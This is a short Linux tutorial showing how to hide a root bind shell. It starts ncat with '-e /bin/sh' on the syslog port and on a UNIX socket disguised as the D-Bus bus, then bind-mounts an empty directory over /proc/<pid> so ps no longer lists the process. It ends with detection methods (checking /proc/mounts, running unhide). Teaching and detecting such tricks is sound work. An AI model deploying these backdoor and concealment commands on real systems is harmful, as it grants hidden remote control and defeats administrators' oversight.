Hidden processes

How to hide a process on Linux with nothing more than a bind mount, and how to find it again.

Hiding a shell behind the syslog port

ncat listening on port 514 (the syslog port) and offering a shell:

root@hp2:~# (ncat -l 514 -k -e /bin/sh) &

It works:

root@hp2:~# ncat localhost 514
pwd
/root
^C

and the process is easy to spot:

root@hp2:~# ps -ef | grep [n]cat
  708   548 root  S  ncat -l 514 -k -e /bin/sh

Hiding the process

ps reads /proc/<pid>. Mount an empty directory on top of it and the process disappears:

root@hp2:~# mkdir /media/null
root@hp2:~# mount -o bind /media/null/ /proc/708
root@hp2:~# ps -ef | grep [n]cat
root@hp2:~#

The open port is still there, but nothing says who owns it:

root@asus:~# netstat -tlanup | grep 514
tcp        0      0 0.0.0.0:514     0.0.0.0:*     LISTEN      -
tcp6       0      0 :::514          :::*          LISTEN      -
udp        0      0 0.0.0.0:514     0.0.0.0:*                 572/syslogd

Same trick with a UNIX socket

A socket with a name that looks like the D-Bus one is even less visible:

root@asus:~# (ncat -l -U /var/run/dbus/system_bus_control -k -e /bin/sh) &
root@asus:~# ps -ef | grep [n]cat
root      4433  1921  0 15:14 pts/0    00:00:00 ncat -l -U /var/run/dbus/system_bus_control -k -e /bin/sh
root@asus:~# mount -o bind /media/null/ /proc/4433
root@asus:~# ps -ef | grep [n]cat
root@asus:~# ncat -U /var/run/dbus/system_bus_control
pwd
/root
^C
root@asus:~# ss -xlp | grep system_bus_socket
u_str LISTEN 0 128 /var/run/dbus/system_bus_socket 23858 * 0 users:(("dbus-daemon",pid=880,fd=4))

Countermeasures

The bind mount itself is visible: any mount on top of a /proc/<pid> directory is a red flag.

grep ' /proc/[0-9]' /proc/mounts

unhide compares what the system calls, /proc and ps report, and finds the difference:

root@asus:~# ./unhide-linux quick
[*]Searching for Hidden processes through comparison of results of system calls, proc, dir and ps

Found HIDDEN PID: 4433
Cmdline: "<none>"
Executable: "<no link>"
"<none>  ... maybe a transitory process"